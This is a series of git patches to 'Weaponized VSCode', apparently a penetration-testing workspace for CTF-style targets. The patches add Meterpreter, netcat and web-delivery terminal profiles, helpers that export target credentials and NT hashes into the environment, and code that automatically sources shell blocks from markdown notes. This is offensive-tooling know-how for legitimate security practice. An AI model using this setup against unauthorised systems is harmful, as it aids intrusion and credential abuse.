true, @@ -36,15 +36,15 @@ "PROJECT_FOLDER": "${workspaceFolder}", "WEB_DELIVERY_MODE": "True" }, - "path": "zsh", - }, + "path": "zsh" + } }, "terminal.integrated.profiles.osx": { "zsh-shell": { "env": { "PROJECT_FOLDER": "${workspaceFolder}" }, - "path": "zsh", + "path": "zsh" }, "meterpreter-handler": { "overrideName": true, @@ -52,7 +52,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "METASPLOIT_HANDLER_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "msfconsole": { "overrideName": true, @@ -60,7 +60,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "METASPLOIT_CONSOLE_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "netcat-handler": { "overrideName": true, @@ -68,7 +68,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "REVERSE_SHELL_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "web-delivery": { "overrideName": true, @@ -76,7 +76,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "WEB_DELIVERY_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "kali-orbstack": { "overrideName": true, @@ -93,10 +93,10 @@ "terminal.integrated.defaultProfile.osx": "zsh-shell", "terminal.integrated.defaultProfile.linux": "zsh-shell", "terminal.integrated.automationProfile.osx": { - "path": "zsh", + "path": "zsh" }, "terminal.integrated.automationProfile.linux": { - "path": "zsh", + "path": "zsh" }, "files.associations": { "*.nuclei": "yaml" @@ -104,7 +104,7 @@ "yaml.schemas": { "https://raw.githubusercontent.com/projectdiscovery/nuclei/main/nuclei-jsonschema.json": [ "*.nuclei", - "*nuclei.yaml", + "*nuclei.yaml" ] - }, + } } \ No newline at end of file From cd2fb109f0b34c580c09bc1d1be48e44ff7ed84b Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 4 Jun 2025 15:21:57 +0800 Subject: [PATCH 18/52] template: auto set current user/host environment --- .foam/templates/host.md | 4 ++++ .foam/templates/user.md | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/.foam/templates/host.md b/.foam/templates/host.md index 9bbb7c7..e2367fc 100644 --- a/.foam/templates/host.md +++ b/.foam/templates/host.md @@ -18,6 +18,10 @@ foam_template: alias: ["${1:$TM_FILENAME_BASE}"] # if is DC, please set the dc hostname as the first alias, such as ["dc01.example.com"] ``` +```zsh env-invoked +set_current_host ${1:$TM_FILENAME_BASE} +``` + #### ports ##### 80 diff --git a/.foam/templates/user.md b/.foam/templates/user.md index e5466a4..1581db9 100644 --- a/.foam/templates/user.md +++ b/.foam/templates/user.md @@ -18,6 +18,10 @@ foam_template: nt_hash: fffffffffffffffffffffffffffffffffff ``` +```zsh env-invoked +set_current_user ${FOAM_TITLE} +``` + #### information 1. From 8e9b2dbf59d5f34b8cede7152bf2911e22ecc7b0 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Wed, 4 Jun 2025 22:37:31 +0800 Subject: [PATCH 19/52] update: current user nad current host prompt to indicate user --- .vscode/env.zsh | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 66d8bac..8be6f90 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -156,9 +156,23 @@ function auto_invoker() { } auto_invoker +function current_status () { + if [[ -z $CURRENT_HOST ]]; then + echo "No current host set." + else + echo "Current Host: ${CURRENT_HOST} => ${CURRENT_HOSTNAME} (${CURRENT_IP}) ${DC_HOST} ${DC_IP}" + fi + if [[ -z $CURRENT_USER ]]; then + echo "No current user set." + else + echo "Current User: ${CURRENT_USER} => ${USER}:${PASS} (${CURRENT_NT_HASH})" + fi +} +current_status + # export KRB5CCNAME= -# FAKETIME settings +# [[administrator]]ME settings # export LD_PRELOAD=/usr/local/lib/libfaketime.so.1 # export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1 # export DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/Cellar/libfaketime/0.9.10/lib/faketime/libfaketime.1.dylib From 45833e7f6bc24e8a07093165523e1e337d2927b8 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Fri, 6 Jun 2025 00:02:07 +0800 Subject: [PATCH 20/52] update: bad chars --- .vscode/env.zsh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 8be6f90..6f61d4e 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -55,7 +55,7 @@ function update_host_to_env() { local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") local hostname=$(echo "$host_data" | yq '.[0].hostname' -r) - local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues + local _var=$(echo "$file" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g' ) # replace . and - with _ to avoid env var issues local ip=$(echo "$host_data" | yq '.[0].ip' -r) local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) @@ -108,8 +108,10 @@ function update_user_cred_to_env() { local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" if [ -f "$file" ]; then local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") + local user=$(echo "$usercred" | yq '.[0].user' -r) - local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues + local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" |sed -e 's/$//g' ) # replace . and - with _ to avoid env var issues + local pass=$(echo "$usercred" | yq '.[0].password' -r) local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) export USER_${_var}=$user From 78f3f42f80dd1390cb6ce02a41fb27625cac2d7d Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sat, 7 Jun 2025 03:18:21 +0800 Subject: [PATCH 21/52] fix: env --- .vscode/env.zsh | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 6f61d4e..49137a6 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -28,17 +28,21 @@ export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.doma function cut_lines_from_markdown_codes() { local file_path=$1 - if [[ ! -f $file_path ]];then + if [[ ! -f $file_path ]]; then echo "no such file!" return 1 fi local identity='```'$2 local line=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) local line_no_list=$(echo "$line" | awk 'NR%2==1{T=$0;next}{print T "|" $0}') - for line_no in `echo $line_no_list`; do + for line_no in $(echo $line_no_list); do local line_no_start=$(echo $line_no | cut -d "|" -f 1) local line_no_end=$(echo $line_no | cut -d "|" -f 2) local line_start=$(($line_no_start + 1)) + if [[ "$line_no_end" == "$line_start" ]]; then # if the next line is the same as the start line, then it is empty + echo "" + return + fi local line_end=$(($line_no_end - 1)) if [[ "$line_start" == "1" && "$line_end" == "-1" ]]; then return 1 @@ -55,7 +59,7 @@ function update_host_to_env() { local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") local hostname=$(echo "$host_data" | yq '.[0].hostname' -r) - local _var=$(echo "$file" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g' ) # replace . and - with _ to avoid env var issues + local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g') # replace . and - with _ to avoid env var issues local ip=$(echo "$host_data" | yq '.[0].ip' -r) local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) @@ -110,8 +114,8 @@ function update_user_cred_to_env() { local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") local user=$(echo "$usercred" | yq '.[0].user' -r) - local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" |sed -e 's/$//g' ) # replace . and - with _ to avoid env var issues - + local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g') # replace . and - with _ to avoid env var issues + local pass=$(echo "$usercred" | yq '.[0].password' -r) local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) export USER_${_var}=$user @@ -149,7 +153,7 @@ function set_current_user() { ### auto invoke the commands in markdown files function auto_invoker() { - for markdown in $(find ${PROJECT_FOLDER}/{users,hosts,services} -iname "*.md" 2>/dev/null ); do + for markdown in $(find ${PROJECT_FOLDER}/{users,hosts,services} -iname "*.md" 2>/dev/null); do local auto_invoker=$(cut_lines_from_markdown_codes "$markdown" "zsh env-invoked") if [[ -n "$auto_invoker" ]]; then source <(echo "$auto_invoker") # source it! @@ -158,7 +162,7 @@ function auto_invoker() { } auto_invoker -function current_status () { +function current_status() { if [[ -z $CURRENT_HOST ]]; then echo "No current host set." else From 134f3fb4e6e71a1b2920920cf793217f8a668e60 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sun, 8 Jun 2025 01:27:23 +0800 Subject: [PATCH 22/52] update: is dc check --- .vscode/env.zsh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 49137a6..b1f8b54 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -15,16 +15,16 @@ export LPORT=6789 ################################################################ # Target settings -export RHOST=10.10.X.X +# export RHOST=10.10.X.X # works well on HTB and THM, Put your reverse IP here. -export DOMAIN= +# export DOMAIN= -export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip +# export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip -export IP=${RHOST} # alias rhost -export ip=${IP} # alias as IP -export DC_IP=${RHOST} # alias rhost -export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com +# export IP=${RHOST} # alias rhost +# export ip=${IP} # alias as IP +# export DC_IP=${RHOST} # alias rhost +# export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com function cut_lines_from_markdown_codes() { local file_path=$1 @@ -63,7 +63,7 @@ function update_host_to_env() { local ip=$(echo "$host_data" | yq '.[0].ip' -r) local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) - if [[ "is_dc" -eq "true" ]]; then + if [[ "$is_dc" == "true" ]]; then export DC_HOST_${_var}=$(echo "$host_data" | yq '.[0].alias.[0]') export DC_HOST=$(echo "$host_data" | yq '.[0].alias.[0]') # default dc01.domain.com export DC_IP_${_var}=$ip @@ -98,7 +98,7 @@ function set_current_host() { export IP=${CURRENT_IP} export DOMAIN=${CURRENT_HOSTNAME} # alias for DOMAIN_dc01 or DOMAIN_dc02 export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip - if [[ "$IS_DC_${CURRENT_HOST}" == "true" ]]; then + if [[ "$(eval echo '$IS_DC_'$CURRENT_HOST)" == "true" ]]; then export DC_IP=$(eval echo '$DC_IP_'$CURRENT_HOST) # alias for DC_IP_dc01 or DC_IP_dc02 export DC_HOST=$(eval echo '$DC_HOST_'$CURRENT_HOST) # alias for DC_HOST_dc01 or DC_HOST_dc02 fi From ce01a72ead7d5b99bb90ecf8f9e296f715b25962 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sat, 14 Jun 2025 00:40:48 +0800 Subject: [PATCH 23/52] update: let grep more excatly --- .vscode/env.zsh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index b1f8b54..d71eac9 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -33,7 +33,7 @@ function cut_lines_from_markdown_codes() { return 1 fi local identity='```'$2 - local line=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) + local line=$(grep -n -E '^```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) local line_no_list=$(echo "$line" | awk 'NR%2==1{T=$0;next}{print T "|" $0}') for line_no in $(echo $line_no_list); do local line_no_start=$(echo $line_no | cut -d "|" -f 1) From a0aa47434e362c91bc3ed555ca7544e68a9d3bd5 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sat, 14 Jun 2025 03:11:53 +0800 Subject: [PATCH 24/52] feat: dump host of host file --- .vscode/env.zsh | 15 +++++++++++++++ .vscode/tasks.json | 2 +- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index d71eac9..0ed529d 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -70,6 +70,11 @@ function update_host_to_env() { export DC_IP=${ip} export IS_DC_${_var}="true" fi + local count=1 + for alias in $(echo "$host_data"|yq '.[0].alias.[]' -r ); do + export HOST_ALIAS_${_var}_${count}=$alias # replace . and - with _ to avoid env var issues + count=$((count + 1)) + done export HOST_${_var}=$hostname export IP_${_var}=$ip fi @@ -426,3 +431,13 @@ function ntlm() { echo "usage: $0 password" fi } + +function dump_hosts() { + for host in $(env|grep -E '^HOST_'|grep -v 'HOST_ALIAS'); do + local _var=$(echo $host|sed -e 's/HOST_//g' | cut -d '=' -f1) # replace _ with - to get the original hostname + local _ip=$(eval echo '$IP_'$_var) + local _hostname=$(eval echo '$HOST_'$_var) + local aliases=$(env | grep -E "^HOST_ALIAS_${_var}_" |cut -d '=' -f2 | tr '\n' ' ') + echo "${_ip} ${_hostname} ${aliases}" + done +} \ No newline at end of file diff --git a/.vscode/tasks.json b/.vscode/tasks.json index bb9cbb7..a742043 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -57,7 +57,7 @@ "command": [ "source ${workspaceFolder}/.vscode/.zshrc;", "echo '================ ADDING THIS LINE IN FILE ========';", - "echo ${RHOST} ${DOMAIN};", + "dump_hosts;", "echo '================================================';", "sudo", "vim", From 72e34a5d717b9eb1be7d029c7177ee8438b16c06 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sat, 14 Jun 2025 04:31:18 +0800 Subject: [PATCH 25/52] fix: when username contains $ --- .vscode/env.zsh | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 0ed529d..64fae86 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -59,7 +59,7 @@ function update_host_to_env() { local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") local hostname=$(echo "$host_data" | yq '.[0].hostname' -r) - local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g') # replace . and - with _ to avoid env var issues + local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues local ip=$(echo "$host_data" | yq '.[0].ip' -r) local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) @@ -94,7 +94,7 @@ function set_current_host() { return 1 fi - export CURRENT_HOST=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g") + export CURRENT_HOST=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues export CURRENT_IP=$(eval echo '$IP_'$CURRENT_HOST) # alias for IP_dc01 or IP_dc02 export CURRENT_HOSTNAME=$(eval echo '$HOST_'$CURRENT_HOST) # alias for HOST_dc01 or HOST_dc02 @@ -119,8 +119,7 @@ function update_user_cred_to_env() { local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") local user=$(echo "$usercred" | yq '.[0].user' -r) - local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/$//g') # replace . and - with _ to avoid env var issues - + local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues local pass=$(echo "$usercred" | yq '.[0].password' -r) local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) export USER_${_var}=$user @@ -142,7 +141,7 @@ function set_current_user() { env | egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' | sed -e 's/=/: /g' | sort return 1 fi - export CURRENT=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g") + export CURRENT=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues export CURRENT_USER=$(eval echo '$USER_'$CURRENT) # alias for USER_A or USER_B export CURRENT_PASS=$(eval echo '$PASS_'$CURRENT) # alias for PASS_A or PASS_B export CURRENT_NT_HASH=$(eval echo '$NT_HASH_'$CURRENT) # alias for NT_HASH_A or NT_HASH_B @@ -154,7 +153,7 @@ function set_current_user() { export PASSWORD=${CURRENT_PASS} # alias for PASS export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A } -# set_current_user john +# set_current_user ### auto invoke the commands in markdown files function auto_invoker() { From 94c05b9fb83f8028ae0af7c47478bdb1a26eaba9 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 17 Jun 2025 00:32:11 +0800 Subject: [PATCH 26/52] Adds error handling and pre-install checks to scripts Improves robustness of `env.zsh` by adding error handling for NTLM hash generation and introducing a `dump_users` function for user credentials management. Enhances `installer.sh` with pre-installation checks for required commands --- .vscode/env.zsh | 20 +++++++++++- installer.sh | 84 +++++++++++++++++++++++++++++++++++++------------ 2 files changed, 83 insertions(+), 21 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 64fae86..98c74b9 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -426,6 +426,11 @@ function wfuzz_vhost_https() { function ntlm() { if [ -n "$1" ]; then python3 -c 'import hashlib,binascii;hash = hashlib.new("md4", "'$1'".encode("utf-16le")).digest();print(binascii.hexlify(hash).decode("utf-8"))' + if [[ $? -ne 0 ]]; then + echo "Error: ntlm hash generation failed. " + echo "if not support md4 hash, please check your openssl config." + return 1 + fi else echo "usage: $0 password" fi @@ -439,4 +444,17 @@ function dump_hosts() { local aliases=$(env | grep -E "^HOST_ALIAS_${_var}_" |cut -d '=' -f2 | tr '\n' ' ') echo "${_ip} ${_hostname} ${aliases}" done -} \ No newline at end of file +} + +function dump_users() { + for user in $(env|grep -E '^USER_'|grep -v 'USER_ALIAS'); do + local _var=$(echo $user|sed -e 's/USER_//g' | cut -d '=' -f1) # replace _ with - to get the original username + local _user=$(eval echo '$USER_'$_var) + local _pass=$(eval echo '$PASS_'$_var) + local _nt_hash=$(eval echo '$NT_HASH_'$_var) + if [[ "$_nt_hash" == "fffffffffffffffffffffffffffffffffff" ]]; then + _nt_hash=$(ntlm "${_pass}") + fi + echo "${_user}:${_pass}(${_nt_hash})" + done +}hje \ No newline at end of file diff --git a/installer.sh b/installer.sh index 4d5290a..709214a 100755 --- a/installer.sh +++ b/installer.sh @@ -1,22 +1,66 @@ #!/bin/zsh -if [[ -d ~/.local/weapon ]]; then - echo "Weapon already installed." - exit 0 -fi - -export LOCATION=~/.local/weapon -echo "Installing Weapon..." -mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." -cp -f ./createhackenv.sh $LOCATION && echo "createhackenv.sh copied to $LOCATION." -cp -f ./zsh_history $LOCATION && echo "zsh_history copied to $LOCATION." - -grep -zq "source $LOCATION/createhackenv.sh" ~/.zshrc -if [[ $? -eq 0 ]]; then - echo "createhackenv.sh already sourced in ~/.zshrc. sktpping..." -else - echo "Sourcing createhackenv.sh in ~/.zshrc..." - echo "source $LOCATION/createhackenv.sh" >> ~/.zshrc -fi - -echo "Weaponized VSCode installation completed." \ No newline at end of file +function check_command() { + local prompt=$2 + command -v "$1" >/dev/null 2>&1 && { + } || { + echo "$1 is not installed." + echo "Install it for better experience." + echo "$prompt" + return 2 + } +} + +function check_requirements() { + check_command "zsh" "zsh is core to WeaponizedVSCode integrated shell." || return 2 + check_command "vim" "vim is required for task edit /etc/hosts, please install it or change it." || return 2 + check_command "nc" "nc is core for netcat shell session handling or u can't use it, please install it." || return 2 + check_command "rlwrap" "rlwrap is required for netcat shell session handling, please install it" || return 2 + check_command "msfvenom" "You will not have meterpreter shell or msfconsole feature in vscode integrated terminal." || return 2 + check_command "code" "Visual Studio Code is required for WeaponizedVSCode, please for sure your 'code' command is available in PATH." || return 2 + check_command "yq" "yq is required for parsing YAML content to environment variable, install it with 'brew install yq' or 'apt install yq'." || return 2 + check_command "simplehttpserver" "simplehttpserver is cool for serving files with upload feature and dump http requests, install it with https://github.com/projectdiscovery/simplehttpserver" || return 2 + check_command "rustscan" "rustscan is required for the auto scanning task in vscode, fast and reliable, install it with https://github.com/bee-san/RustScan" || return 2 + check_command "wfuzz" "wfuzz is required for command wfuzz_vhost_https and wfuzz_vhost_http, to fuzz the subdomain and vhost. install it or u can't use that" || return 2 + check_command "python3" "Python3 is required for the Python scripts in WeaponizedVSCode, please install it." || return 2 + check_command "uv" "uv is optional but recommended for better performance, install it with 'pip install uv'. Their script is useful" +} + +function main() { + check_requirements + if [[ $? -ne 0 && "$FORCE_INSTALL" != "true" ]]; then + echo "Please install the required commands to continue." + echo "If you want to force install without checking requirements, run the script with FORCE_INSTALL=true ./installer.sh" + exit 1 + fi + + if [[ -z "$WEAPON_LOCATON" ]]; then + echo "WEAPON_LOCATION is not set. set to default ~/.local/weapon" + export WEAPON_LOCATION=~/.local/weapon + echo "You can set it by exporting WEAPON_LOCATION=your_desired_path before running this script." + fi + + if [[ -d "$WEAPON_LOCATION" ]]; then + echo "Weapon already installed." + exit 0 + fi + + export LOCATION="$WEAPON_LOCATION" + echo "Installing Weapon..." + mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." + cp -f ./createhackenv.sh $LOCATION && echo "createhackenv.sh copied to $LOCATION." + echo "" >>$LOCATION/createhackenv.sh + echo "export WEAPON_LOCATION=$LOCATION" >>$LOCATION/createhackenv.sh # overwrite if exists + cp -f ./zsh_history $LOCATION && echo "zsh_history copied to $LOCATION." + + grep -zq "source $LOCATION/createhackenv.sh" ~/.zshrc + if [[ $? -eq 0 ]]; then + echo "createhackenv.sh already sourced in ~/.zshrc. sktpping..." + else + echo "Sourcing createhackenv.sh in ~/.zshrc..." + echo "source $LOCATION/createhackenv.sh" >>~/.zshrc + fi + + echo "Weaponized VSCode installation completed." + +} From 01195d6e296c96229c8e956aad93a832db6b8b1b Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 17 Jun 2025 00:33:10 +0800 Subject: [PATCH 27/52] update: execute main --- installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/installer.sh b/installer.sh index 709214a..f3536ba 100755 --- a/installer.sh +++ b/installer.sh @@ -64,3 +64,5 @@ function main() { echo "Weaponized VSCode installation completed." } + +main "$@" From ce8960d9c59fc8e22f7d9dddb43daa0c3e25f6f5 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 17 Jun 2025 00:34:38 +0800 Subject: [PATCH 28/52] fix: bug of dump user --- .vscode/env.zsh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 98c74b9..1f05cc6 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -457,4 +457,4 @@ function dump_users() { fi echo "${_user}:${_pass}(${_nt_hash})" done -}hje \ No newline at end of file +} \ No newline at end of file From 60498edbd1a0ee80db79a7f79f70917dd611d110 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 17 Jun 2025 10:39:54 +0800 Subject: [PATCH 29/52] update: confirm with read command --- .vscode/tasks.json | 6 +++--- installer.sh | 3 ++- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.vscode/tasks.json b/.vscode/tasks.json index a742043..a085ea3 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -59,9 +59,9 @@ "echo '================ ADDING THIS LINE IN FILE ========';", "dump_hosts;", "echo '================================================';", - "sudo", - "vim", - "/etc/hosts" + "echo 'Press any key to continue';", + "read;", + "sudo vim /etc/hosts" ], "isBackground": false, "problemMatcher": [] diff --git a/installer.sh b/installer.sh index f3536ba..4afbf04 100755 --- a/installer.sh +++ b/installer.sh @@ -44,8 +44,9 @@ function main() { echo "Weapon already installed." exit 0 fi - export LOCATION="$WEAPON_LOCATION" + echo "Weapon will be installed to $LOCATION, Press any key to continue or Ctrl+C to cancel..." + read echo "Installing Weapon..." mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." cp -f ./createhackenv.sh $LOCATION && echo "createhackenv.sh copied to $LOCATION." From 713c2558789982a6b799276bbde3aebba00084c7 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 17 Jun 2025 10:49:13 +0800 Subject: [PATCH 30/52] update: safename function to parse environment variable. --- .foam/templates/user.md | 2 +- .vscode/env.zsh | 23 ++++++++++++++++++----- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/.foam/templates/user.md b/.foam/templates/user.md index 1581db9..b73232e 100644 --- a/.foam/templates/user.md +++ b/.foam/templates/user.md @@ -19,7 +19,7 @@ foam_template: ``` ```zsh env-invoked -set_current_user ${FOAM_TITLE} +set_current_user ${FOAM_TITLE/@(\S*)$//} ``` #### information diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 1f05cc6..47da525 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -51,6 +51,15 @@ function cut_lines_from_markdown_codes() { done } +function safe_name() { + local name=$1 + if [[ -z $name ]]; then + echo "Usage: safe_name " + return 1 + fi + echo "$name" | tr '@$.-' '____' # replace . and - with _ to avoid env var issues +} + function update_host_to_env() { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then for ur in $(ls -1 ${PROJECT_FOLDER}/hosts); do @@ -59,7 +68,7 @@ function update_host_to_env() { local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") local hostname=$(echo "$host_data" | yq '.[0].hostname' -r) - local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues + local _var=$(safe_name "$hostname" ) # replace . and - with _ to avoid env var issues local ip=$(echo "$host_data" | yq '.[0].ip' -r) local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) @@ -94,7 +103,7 @@ function set_current_host() { return 1 fi - export CURRENT_HOST=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues + export CURRENT_HOST=$(safe_name "$1") # replace . and - with _ to avoid env var issues export CURRENT_IP=$(eval echo '$IP_'$CURRENT_HOST) # alias for IP_dc01 or IP_dc02 export CURRENT_HOSTNAME=$(eval echo '$HOST_'$CURRENT_HOST) # alias for HOST_dc01 or HOST_dc02 @@ -119,9 +128,11 @@ function update_user_cred_to_env() { local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") local user=$(echo "$usercred" | yq '.[0].user' -r) - local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues + local _var=$(safe_name "$user") # replace . and - with _ to avoid env var issues local pass=$(echo "$usercred" | yq '.[0].password' -r) local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) + local login=$(echo "$usercred" | yq '.[0].login' -r) + local LOGIN_${_var}=$login export USER_${_var}=$user export PASS_${_var}=$pass export NT_HASH_${_var}=$nt_hash @@ -141,17 +152,19 @@ function set_current_user() { env | egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' | sed -e 's/=/: /g' | sort return 1 fi - export CURRENT=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g" | sed -e 's/\$/_/g') # replace . and - with _ to avoid env var issues + export CURRENT=$(safe_name "$1" ) # replace . and - with _ to avoid env var issues export CURRENT_USER=$(eval echo '$USER_'$CURRENT) # alias for USER_A or USER_B export CURRENT_PASS=$(eval echo '$PASS_'$CURRENT) # alias for PASS_A or PASS_B export CURRENT_NT_HASH=$(eval echo '$NT_HASH_'$CURRENT) # alias for NT_HASH_A or NT_HASH_B - + export CURRENT_LOGIN=$(eval echo '$LOGIN_'$CURRENT) # alias for LOGIN_A or LOGIN_B + # defined variables if u need export USER=${CURRENT_USER} export USERNAME=${CURRENT_USER} export PASS=${CURRENT_PASS} export PASSWORD=${CURRENT_PASS} # alias for PASS export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A + export LOGIN=${CURRENT_LOGIN} # alias for LOGIN_A } # set_current_user From a238b43f9005a3db375786558c60583b19c68c38 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 17 Jun 2025 10:54:11 +0800 Subject: [PATCH 31/52] feat: run selected text in file --- .vscode/tasks.json | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/.vscode/tasks.json b/.vscode/tasks.json index a085ea3..f320c50 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -129,6 +129,19 @@ "-- ${input:nmap-args}" ], "problemMatcher": [] + }, + { + "label": "run command with selection", + "type": "shell", + "detail": "Run command with selection in the terminal", + "command": [ + "source ${workspaceFolder}/.vscode/.zshrc; ", + "echo 'Running command with selection:';", + "echo '${selectedText}';", + "echo 'Press any key to continue or Ctrl-C to cancal';", + "read;", + "${selectedText}" + ], } ], "inputs": [ From bce42a2b087def6a928f378d10d43784f4dfb221 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 17 Jun 2025 10:58:37 +0800 Subject: [PATCH 32/52] update: auto run tasks --- .vscode/tasks.json | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git 